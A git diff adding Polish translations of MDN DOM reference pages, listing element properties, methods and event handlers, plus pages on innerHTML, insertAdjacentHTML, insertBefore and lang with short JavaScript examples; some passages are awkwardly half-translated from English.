+ <dt><a href="/pl/DOM/element.lang" title="pl/DOM/element.lang">lang</a></dt>
+ <dd>Określa język bazowy dla wartość atrybutów i tekstowej zawartości elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.lastChild" title="pl/DOM/element.lastChild">lastChild</a></dt>
+ <dd>Zwraca ostatnie dziecko bieżącego węzła.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.length" title="pl/DOM/element.length">length</a></dt>
+ <dd>Zwraca ilość elementów listy (np. childNodes).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.localName" title="pl/DOM/element.localName">localName</a></dt>
+ <dd>Zwraca lokalną część uściślonej nazwy węzła.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.name" title="pl/DOM/element.name">name</a></dt>
+ <dd>Pobiera lub ustawia atrybut <code>name</code> - dostępne nie dla wszystkich elementów.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.namespaceURI" title="pl/DOM/element.namespaceURI">namespaceURI</a></dt>
+ <dd>URI przestrzeni nazw węzła lub NULL, jeśli nie określono przestrzeni nazw.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.nextSibling" title="pl/DOM/element.nextSibling">nextSibling</a></dt>
+ <dd>Zwraca węzeł bezpośrednio następny w drzewie dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.nodeName" title="pl/DOM/element.nodeName">nodeName</a></dt>
+ <dd>Zwraca nazwę biężącego węzła.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.nodeType" title="pl/DOM/element.nodeType">nodeType</a></dt>
+ <dd>Zwraca typ bieżącego węzła.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.nodeValue" title="pl/DOM/element.nodeValue">nodeValue</a></dt>
+ <dd>Zwraca wartość bieżącego węzła.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.offsetHeight" title="pl/DOM/element.offsetHeight">offsetHeight</a></dt>
+ <dd>offsetHeight jest własnością DHTML-a, zwracającą wysokość elementu względem układu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.offsetLeft" title="pl/DOM/element.offsetLeft">offsetLeft</a></dt>
+ <dd>offsetLeft pobiera/ustawia ilość pikseli, jaka dzieli element od lewej strony wewnątrz węzła offsetParent.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.offsetParent" title="pl/DOM/element.offsetParent">offsetParent</a></dt>
+ <dd>offsetParent zwraca referencję do obiektu, w którym obecny element się znajduje (tj. rodzica).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.offsetTop" title="pl/DOM/element.offsetTop">offsetTop</a></dt>
+ <dd>offsetTop zwraca pozycję obecnego elementu względem góry węzła offsetParent.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.offsetWidth" title="pl/DOM/element.offsetWidth">offsetWidth</a></dt>
+ <dd>offsetWidth jest własnością DHTML-a, zwracającą szerokość elementu względem układu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.ownerDocument" title="pl/DOM/element.ownerDocument">ownerDocument</a></dt>
+ <dd>Zwraca dokument, w którym znajduje się bieżący węzeł.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.parentNode" title="pl/DOM/element.parentNode">parentNode</a></dt>
+ <dd>Zwraca rodzica bieżącego węzła.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.prefix" title="pl/DOM/element.prefix">prefix</a></dt>
+ <dd>Zwraca prefiks przestrzeni nazw obecnego węzła bądź NULL, jeśli nie określono przestrzeni nazw.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.previousSibling" title="pl/DOM/element.previousSibling">previousSibling</a></dt>
+ <dd>Zwraca węzeł bezpośrednio poprzedni w drzewie dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.scrollHeight" title="pl/DOM/element.scrollHeight">scrollHeight</a></dt>
+ <dd>Własność DHTML-a, zwraca wysokość zawartości elementu z paskiem przewijania.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.scrollLeft" title="pl/DOM/element.scrollLeft">scrollLeft</a></dt>
+ <dd>pobiera bądź ustawia liczbę pikseli, o którą zostanie przewinięta zawartość dokumentu. Kierunek przewijania odbywa się w lewo.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.scrollTop" title="pl/DOM/element.scrollTop">scrollTop</a></dt>
+ <dd>Własność DHTML-a, która ustawia bądź pobiera odległość między górą elementu a najwyższym punktem zawartości elementu z paskiem przewijania.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.scrollWidth" title="pl/DOM/element.scrollWidth">scrollWidth</a></dt>
+ <dd>Zwraca the width of the scroll view of an element.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.style" title="pl/DOM/element.style">style</a></dt>
+ <dd>Zwraca blok reguł stylów dla elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.tabIndex" title="pl/DOM/element.tabIndex">tabIndex</a></dt>
+ <dd>Pobiera/ustawia pozycję elementu w porządku tabulacji.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.tagName" title="pl/DOM/element.tagName">tagName</a></dt>
+ <dd>Zwraca nazwę elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.textContent" title="pl/DOM/element.textContent">textContent</a></dt>
+ <dd>Pobiera/ustawia zawartość tekstu elementu włączając jego potomków.</dd>
+</dl>
+
+<h3 id="Metody" name="Metody">Metody</h3>
+
+<dl>
+ <dt><a href="/pl/DOM/element.addEventListener" title="pl/DOM/element.addEventListener">addEventListener</a></dt>
+ <dd>Pozwala zarejestrować obserwatora zdarzeń dla celu zdarzenia.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.appendChild" title="pl/DOM/element.appendChild">appendChild</a></dt>
+ <dd>Wstawia określony węzeł do listy węzłów dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.blur" title="pl/DOM/element.blur">blur</a></dt>
+ <dd>Dezaktywuje bieżący element.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.click" title="pl/DOM/element.click">click</a></dt>
+ <dd>Wywołuje kliknięcie na elemencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.cloneNode" title="pl/DOM/element.cloneNode">cloneNode</a></dt>
+ <dd>Zwraca kopię bieżącego węzła.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.dispatchEvent" title="pl/DOM/element.dispatchEvent">dispatchEvent</a></dt>
+ <dd>Pozwala przekazać wywołania zdarzeń do modelu zdarzeń w implementacji DOM.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.focus" title="pl/DOM/element.focus">focus</a></dt>
+ <dd>Aktywuje bieżący element.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.getAttribute" title="pl/DOM/element.getAttribute">getAttribute</a></dt>
+ <dd>Zwraca wartość atrybutu o podanej nazwie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.getAttributeNS" title="pl/DOM/element.getAttributeNS">getAttributeNS</a></dt>
+ <dd>Zwraca wartość atrybutu o podanej nazwie i przestrzeni nazw.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.getAttributeNode" title="pl/DOM/element.getAttributeNode">getAttributeNode</a></dt>
+ <dd>Zwraca atrybut elementu jako osobny węzeł.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.getElementsByTagName" title="pl/DOM/element.getElementsByTagName">getElementsByTagName</a></dt>
+ <dd>Zwraca elementy o podanej nazwie będące potomkami bieżącego elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.hasAttribute" title="pl/DOM/element.hasAttribute">hasAttribute</a></dt>
+ <dd>Zwraca wartość logiczną zależnie od tego, czy element posiada atrybut o podanej nazwie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.hasAttributeNS" title="pl/DOM/element.hasAttributeNS">hasAttributeNS</a></dt>
+ <dd>Zwraca wartość logiczną zależnie od tego, czy element posiada atrybut o podanej nazwie i przestrzeni nazw.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.hasAttributes" title="pl/DOM/element.hasAttributes">hasAttributes</a></dt>
+ <dd>Zwraca wartość logiczną zależnie od tego, czy element posiada jakiekolwiek atrybuty.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.hasChildNodes" title="pl/DOM/element.hasChildNodes">hasChildNodes</a></dt>
+ <dd>Zwraca wartość logiczną zależnie od tego, czy element posiada dzieci.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.insertBefore" title="pl/DOM/element.insertBefore">insertBefore</a></dt>
+ <dd>Metoda pozwala wstawić węzeł przed bieżącym elementem w DOM.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.item" title="pl/DOM/element.item">item</a></dt>
+ <dd>Zwraca węzeł z drzewa wg podanego indeksu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.normalize" title="pl/DOM/element.normalize">normalize</a></dt>
+ <dd>Metoda zapisuje bieżący węzeł i całe drzewo znajdujące się wewnątrz w "znormalizowanej" formie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.removeAttribute" title="pl/DOM/element.removeAttribute">removeAttribute</a></dt>
+ <dd>Usuwa atrybut elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.removeAttributeNode" title="pl/DOM/element.removeAttributeNode">removeAttributeNode</a></dt>
+ <dd>Usuwa określony atrybut elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.removeChild" title="pl/DOM/element.removeChild">removeChild</a></dt>
+ <dd>Usuwa węzeł potomny bieżącego elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.removeEventListener" title="pl/DOM/element.removeEventListener">removeEventListener</a></dt>
+ <dd>Pozwala usunąć obserwatora zdarzeń z celu zdarzenia.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.replaceChild" title="pl/DOM/element.replaceChild">replaceChild</a></dt>
+ <dd>Metoda replaceChild() zastępuje węzeł potomny bieżącego elementu innym węzłem.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.setAttribute" title="pl/DOM/element.setAttribute">setAttribute</a></dt>
+ <dd>Dodaje nowy atrybut bądź zmienia wartość atrybutu bieżącego elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.setAttributeNS" title="pl/DOM/element.setAttributeNS">setAttributeNS</a></dt>
+ <dd>Dodaje nowy atrybut bądź zmienia wartość atrybutu bieżącego elementu, wg podanej nazwy i przestrzeni nazw.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.setAttributeNode" title="pl/DOM/element.setAttributeNode">setAttributeNode</a></dt>
+ <dd>Dodaje nowy węzeł atrybutu do bieżącego elementu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.setAttributeNodeNS" title="pl/DOM/element.setAttributeNodeNS">setAttributeNodeNS</a></dt>
+ <dd>Dodaje nowy węzeł atrybutu do bieżącego elementu wg podanej nazwy i przestrzeni nazw.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.supports" title="pl/DOM/element.supports">supports</a></dt>
+ <dd>Sprawdza, czy implementacja DOM pozwala na wykorzystanie konkretnej możliwości.</dd>
+</dl>
+
+<h3 id="Uchwyty_zdarze.C5.84" name="Uchwyty_zdarze.C5.84">Uchwyty zdarzeń</h3>
+
+<p>Poniższe właściwości nie mogą być przypisane, tak jak uchwyty zdarzeń obiektów document czy window. Wszystkie poniższe własności służą tylko do odczytu - zwracają kod obsługi zdarzeń, jeżeli został on nadany elementowi w samym HTML-u bądź XML-u.</p>
+
+<p><strong>Są to właściwości odnoszące się do HTML dla atrybutów zdarzeń 'on'.</strong></p>
+
+<p><strong>W przeciwieństwie do odpowiadających atrybutów, wartości tych właściwość są funkcjami lub jakimkolwiek innym obiektem implementowanym przez <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventListener">EventListener</a> interfejs. Przypisanie atrybutu zdarzenia w HTML powoduje utworzenie funkcji opakowującej funkcji dla określonego kodu. Np. podając następujący HTML:</strong></p>
+
+<pre>&lt;div onclick="foo();"&gt;click me!&lt;/div&gt;
+</pre>
+
+<p><strong>Jeżeli <code>element</code> jest referencją do <code>&lt;div&gt;</code>, wartość <code>element.onclick</code> wynosi faktycznie:</strong></p>
+
+<pre>function onclick(event) {
+ foo();
+}
+</pre>
+
+<p><strong>Note how the <a href="/pl/DOM/event" title="pl/DOM/event">event</a> object is passed as parameter <code>event</code> to this wrapper function.</strong></p>
+
+<dl>
+ <dt><a href="/pl/DOM/element.onblur" title="pl/DOM/element.onblur">onblur</a></dt>
+ <dd>Zwraca kod obsługi zdarzenia blur.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.onclick" title="pl/DOM/element.onclick">onclick</a></dt>
+ <dd>Zwraca kod obsługi zdarzenia onclick.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.ondblclick" title="pl/DOM/element.ondblclick">ondblclick</a></dt>
+ <dd>Zwraca kod obsługi zdarzenia dblclick.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.onfocus" title="pl/DOM/element.onfocus">onfocus</a></dt>
+ <dd>Zwraca kod obsługi zdarzenia focus.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.onkeydown" title="pl/DOM/element.onkeydown">onkeydown</a></dt>
+ <dd>Zwraca kod obsługi zdarzenia keydown.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.onkeypress" title="pl/DOM/element.onkeypress">onkeypress</a></dt>
+ <dd>Zwraca kod obsługi zdarzenia keypress.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.onkeyup" title="pl/DOM/element.onkeyup">onkeyup</a></dt>
+ <dd>Zwraca kod obsługi zdarzenia keyup.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.onmousedown" title="pl/DOM/element.onmousedown">onmousedown</a></dt>
+ <dd>Zwraca kod obsługi zdarzenia mousedown.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.onmousemove" title="pl/DOM/element.onmousemove">onmousemove</a></dt>
+ <dd>Zwraca kod obsługi zdarzenia mousemove.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.onmouseout" title="pl/DOM/element.onmouseout">onmouseout</a></dt>
+ <dd>Zwraca kod obsługi zdarzenia mouseout.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.onmouseover" title="pl/DOM/element.onmouseover">onmouseover</a></dt>
+ <dd>Zwraca kod obsługi zdarzenia mouseover.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.onmouseup" title="pl/DOM/element.onmouseup">onmouseup</a></dt>
+ <dd>Zwraca kod obsługi zdarzenia mouseup.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/element.onresize" title="pl/DOM/element.onresize">onresize</a></dt>
+ <dd>Zwraca kod obsługi zdarzenia resize.</dd>
+</dl>
diff --git a/files/pl/web/api/element/innerhtml/index.html b/files/pl/web/api/element/innerhtml/index.html
new file mode 100644
index 0000000000..dafe31adf1
--- /dev/null
+++ b/files/pl/web/api/element/innerhtml/index.html
@@ -0,0 +1,67 @@
+---
+title: element.innerHTML
+slug: Web/API/Element/innerHTML
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/innerHTML
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><strong>innerHTML</strong> ustawia lub pobiera zbiór zawartych w danym elemencie znaczników razem z ich treścią.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">var <em>markup</em> = element.innerHTML;
+element.innerHTML = <em>markup</em>;
+</pre>
+
+<ul>
+ <li><code>markup</code> to ciąg znaków z zawartością elementu (w tym elementami potomnymi) jako zwykły HTML. Na przykład: <code>"&lt;p&gt;Jakiś tekst&lt;/p&gt;"</code>.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>// HTML:
+// &lt;div id="d"&gt;&lt;p&gt;Treść&lt;/p&gt;
+// &lt;p&gt;Bardziej skomplikowane&lt;/p&gt;
+// &lt;/div&gt;
+
+d = document.getElementById("d");
+dump(d.innerHTML);
+
+// ciąg "&lt;p&gt;Treść&lt;/p&gt;&lt;p&gt;Bardziej skomplikowane&lt;/p&gt;"
+// zostanie wyświetlony w oknie konsoli
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Własność ta, nie będąca częścią specyfikacji W3C DOM, zapewnia możliwość łatwego zastąpienia całej zawartości elementu. Na przykład można wyczyścić wszystko co jest w body:</p>
+
+<pre class="eval">document.body.innerHTML = ""; // Zawartość body zostaje zastąpiona pustym ciągiem
+</pre>
+
+<p>Własność innerHTML różnych elementów, w tym <code>BODY</code> i <code>HTML</code> może zostać pobrana czy zastąpiona. Można jej użyć, by wyświetlić źródło zmodyfikowanej dynamicznie strony:</p>
+
+<pre>// Skopiuj jako pojedynczą linię i wklej do paska adresu
+javascript:x=document.body.innerHTML.replace(/&lt;/g,'&amp;lt;').replace(/\n/g,'&lt;br&gt;'); document.body.innerHTML = x;
+</pre>
+
+<p>Ponieważ nie ma publicznej specyfikacji dla tej własności, jej implementacje różnią się. Na przykład po wprowadzeniu tekstu do pola tekstowego, IE zmieni zawartość atrybutu <code>value</code> elementu <code>INPUT</code> w <code>innerHTML</code>, a przeglądarki oparte o Gecko - nie.</p>
+
+<p>Własności tej nigdy nie powinno się używać do zapisu części tabeli - zamiast niej należy skorzystać z metod W3C DOM. <code>innerHTML</code> można jednak użyć, by zapisać całą tabelę lub zmodyfikować zawartość pojedynczych komórek.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>{{ DOM0() }}</p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/innerhtml.asp">MSDN innerHTML</a></p>
+
+<p>{{ languages( { "en": "en/DOM/element.innerHTML", "fr": "fr/DOM/element.innerHTML", "ja": "ja/DOM/element.innerHTML" } ) }}</p>
diff --git a/files/pl/web/api/element/insertadjacenthtml/index.html b/files/pl/web/api/element/insertadjacenthtml/index.html
new file mode 100644
index 0000000000..c3332ed337
--- /dev/null
+++ b/files/pl/web/api/element/insertadjacenthtml/index.html
@@ -0,0 +1,91 @@
+---
+title: Element.insertAdjacentHTML()
+slug: Web/API/Element/insertAdjacentHTML
+translation_of: Web/API/Element/insertAdjacentHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>insertAdjacentHTML()</code></strong> metoda z {{domxref("Element")}} interfejsu analizuje specyficzny tekst jak HTML albo XML, wstawia wynik w drzewo DOM w określonej pozycji. to nie naprawia elementu jest użyty na a zatem nie jest zepsuty istniejący element w środku elementu. To unika ekstra kroków z serializacją, zrobienie tego jest wiele szybsze niż bezpośredni {{domxref("Element.innerHTML", "innerHTML")}} manipulation.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>element</em>.insertAdjacentHTML(<em>position</em>, <em>text</em>);</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>position</code></dt>
+ <dd>A {{domxref("DOMString")}} reprezentuje pozycję relatywną <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">element</span></font>-u musi być must be jeden z następujących ciągów:
+ <ul>
+ <li><code style="color: red;">'beforebegin'</code>: przed <code>element</code> -em.</li>
+ <li><code style="color: green;">'afterbegin'</code>: W środku <code>element</code>-u przed jego pierwszym dzieckiem.</li>
+ <li><code style="color: blue;">'beforeend'</code>: W środku elementu po jego ostatnim dziecku.</li>
+ <li><code style="color: magenta;">'afterend'</code>: Po <code>element</code>-cie </li>
+ </ul>
+ </dd>
+ <dt><code>text</code></dt>
+ <dd>string analizuje HTML albo XML i włącza w drzewo.</dd>
+</dl>
+
+<h3 id="Visualization_of_position_names">Visualization of position names</h3>
+
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;p&gt;</code>
+ &lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+ foo
+ &lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;/p&gt;</code>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+
+<div class="note"><strong>Note: </strong><code>beforebegin</code> i <code>afterend</code> pozycja działa tylko jeśli node jest w drzewie DOM i ma rodzica elementu.</div>
+
+<h2 id="Przykład">Przykład:</h2>
+
+<pre class="brush: js">// &lt;div id="one"&gt;one&lt;/div&gt;
+var d1 = document.getElementById('one');
+d1.insertAdjacentHTML('afterend', '&lt;div id="two"&gt;two&lt;/div&gt;');
+
+// At this point, the new structure is:
+// &lt;div id="one"&gt;one&lt;/div&gt;&lt;div id="two"&gt;two&lt;/div&gt;</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="Security_considerations">Security considerations</h3>
+
+<p>When inserting HTML into a page by using <code>insertAdjacentHTML()</code>, be careful not to use user input that hasn't been escaped.</p>
+
+<p>It is not recommended you use <code>insertAdjacentHTML()</code> when inserting plain text; instead, use the {{domxref("Node.textContent")}} property or the {{domxref("Element.insertAdjacentText()")}} method. This doesn't interpret the passed content as HTML, but instead inserts it as raw text.</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM Parsing', '#widl-Element-insertAdjacentHTML-void-DOMString-position-DOMString-text', 'Element.insertAdjacentHTML()')}}</td>
+ <td>{{ Spec2('DOM Parsing') }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Element.insertAdjacentHTML")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element.insertAdjacentElement()")}}</li>
+ <li>{{domxref("Element.insertAdjacentText()")}}</li>
+ <li>{{domxref("XMLSerializer")}}: Construct a DOM representation of XML text</li>
+ <li><a class="external" href="https://hacks.mozilla.org/2011/11/insertadjacenthtml-enables-faster-html-snippet-injection/">hacks.mozilla.org guest post</a><span class="external"> by Henri Sivonen including benchmark showing that insertAdjacentHTML can be way faster in some cases.</span></li>
+</ul>
diff --git a/files/pl/web/api/element/insertbefore/index.html b/files/pl/web/api/element/insertbefore/index.html
new file mode 100644
index 0000000000..27c40ad945
--- /dev/null
+++ b/files/pl/web/api/element/insertbefore/index.html
@@ -0,0 +1,86 @@
+---
+title: element.insertBefore
+slug: Web/API/Element/insertBefore
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/insertBefore
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Wstawia określony węzeł przed danym elementem jako dziecko aktualnego węzła.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">var <em>wstawionyElement</em> =<em>elementRodzic</em>.insertBefore(<em>nowyElement</em>,<em>danyElement</em>)
+</pre>
+
+<p>Jeżeli <var>danyElement</var> ma wartość <code>null</code>, <var>nowyElement</var> jest wstawiany na końcu listy węzłów potomnych.</p>
+
+<ul>
+ <li><code>nowyElement</code> Węzeł do wstawienia.</li>
+ <li><code>danyElement</code> Węzeł przed którym <code>nowyElement</code> ma zostać wstawiony.</li>
+ <li><code>elementRodzic</code> Rodzic nowo wstawianego elementu.</li>
+ <li><code>wstawionyElement</code> Węzeł, który jest wstawiany, czyli <code>nowyElement</code>.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre> &lt;html&gt;
+
+ &lt;head&gt;
+ &lt;title&gt;Gecko DOM insertBefore test&lt;/title&gt;
+ &lt;/head&gt;
+
+ &lt;body&gt;
+ &lt;div&gt;
+ &lt;span id="childSpan"&gt;foo bar&lt;/span&gt;
+ &lt;/div&gt;
+
+ &lt;script type="text/javascript"&gt;
+ // tworzy pusty węzeł elementu
+ // bez ID, jakichkolwiek atrybutów lub jakiejkolwiek zawartości
+ var sp1 = document.createElement("span");
+
+ // daje to atrybut id nazwany 'newSpan'
+ sp1.setAttribute("id", "newSpan");
+
+ // tworzy jakąś zawartość dla nowo powstałego elementu.
+ var sp1_content = document.createTextNode("Jest to nowy element span. ");
+
+ // zwraca się, która treść ma być do nowego elementu.
+ sp1.appendChild(sp1_content);
+
+ var sp2 = document.getElementById("childSpan");
+ var parentDiv = sp2.parentNode;
+
+ // wstawia nowy element do DOM przed sp2
+ parentDiv.insertBefore(sp1, sp2);
+ &lt;/script&gt;
+
+ &lt;/body&gt;
+ &lt;/html&gt;
+</pre>
+
+<p>Nie istnieje metoda <code>insertAfter</code>, jednak można ją emulować poprzez kombinację <code>insertBefore</code> oraz <code><a href="pl/DOM/element.nextSibling">nextSibling</a></code>.</p>
+
+<p>W powyższym przykładzie, <code>sp1</code> może zostać wstawiona za <code>sp2</code> przy użyciu:</p>
+
+<pre class="eval">parentDiv.insertBefore(sp1, sp2.nextSibling);
+</pre>
+
+<p>Jeżeli <code>sp2</code> nie posiada następnego rodzeństwa i musi być ostatnim potomnym —<code>sp2.nextSibling</code> to zwróci <code>null</code> więc <code>sp1</code> będzie wstawione na końcu listy węzłów potomnych (np. natychmiast po <code>sp2</code>).</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-952280727">insertBefore</a></p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/element.insertBefore", "fr": "fr/DOM/element.insertBefore", "ja": "ja/DOM/element.insertBefore", "pt": "pt/DOM/element.insertBefore" } ) }}</p>
diff --git a/files/pl/web/api/element/lang/index.html b/files/pl/web/api/element/lang/index.html
new file mode 100644
index 0000000000..446c0817b9
--- /dev/null
+++ b/files/pl/web/api/element/lang/index.html
@@ -0,0 +1,40 @@
+---
+title: element.lang
+slug: Web/API/Element/lang
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLElement/lang
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Własność ta pozwala pobrać lub ustawić język bazowy wartości atrybutów i treści elementu.</p>
+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+<pre class="eval">var <var>languageUsed</var> = elementNodeReference.lang;
+elementNodeReference.lang = <var>NewLanguage</var>;
+</pre>
+<ul>
+ <li><var>languageUsed</var> to zmienna (ciąg znaków) do której przypisany zostanie aktualny język elementu.</li>
+ <li><var>NewLanguage</var> to zmienna której wartość będzie użyta jako nowy język elementu.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// poniższy fragment kodu porównuje język bazowy i odsyła
+// do innych URL na podstawie odczytanego kodu języka
+if (document.documentElement.lang == "en")
+ {
+ window.location.href = "Some_document.html.en";
+ }
+else if(document.documentElement.lang == "ru")
+ {
+ window.location.href = "Some_document.html.ru";
+ };
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Kod języka zwracany przez w/w właściwość zgodny jest z kodami zdefiniowanymi w dokumencie <a class="external" href="http://tools.ietf.org/html/rfc1766" title="http://tools.ietf.org/html/rfc1766">RFC 1766</a>. Przykładowo: "en" dla języka angielskiego, "ja" dla japońskiego, "es" dla hiszpańskiego itd. Domyślna wartość atrybutu to <code>unknown</code>. Wartość tego atrybutu ustawiana jest zwykle dla podstawowego (najwyższego) elementu dokumentu.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-59132807">W3C DOM Level 2 HTML: lang</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.lang", "fr": "fr/DOM/element.lang", "ja": "ja/DOM/element.lang" } ) }}</p>
